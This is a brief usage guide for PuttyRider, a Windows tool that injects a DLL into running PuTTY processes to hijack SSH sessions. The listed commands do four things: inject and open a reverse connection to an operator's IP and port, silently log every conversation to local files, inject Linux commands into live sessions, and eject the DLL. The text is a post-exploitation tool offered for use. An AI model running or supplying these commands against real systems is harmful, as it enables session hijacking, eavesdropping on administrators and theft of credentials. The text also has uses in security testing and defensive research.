PuttyRider tool hijacks Putty sessions in order to sniff conversation and inject Linux commands.

Puttyrider targets sysadmin tool putty.  This tiny utility hijacks putty sessions and injects code in open sessions.


List existing Putty processes and their status (injected / not injected)

PuttyRider.exe -l

Inject DLL into the first found putty.exe and initiate a reverse connection from DLL to my IP:Port, then exit PuttyRider.exe.

PuttyRider.exe -p 0 -r

Run in background and wait for new Putty processes. Inject in any new putty.exe and write all conversations in local files.

PuttyRider.exe -w -f

Eject PuttyRider.dll from all Putty processes where it is already injected. (Don’t forget to kill PuttyRider.exe if running in -w mode, otherwise it will reinject again.)

PuttyRider.exe -x
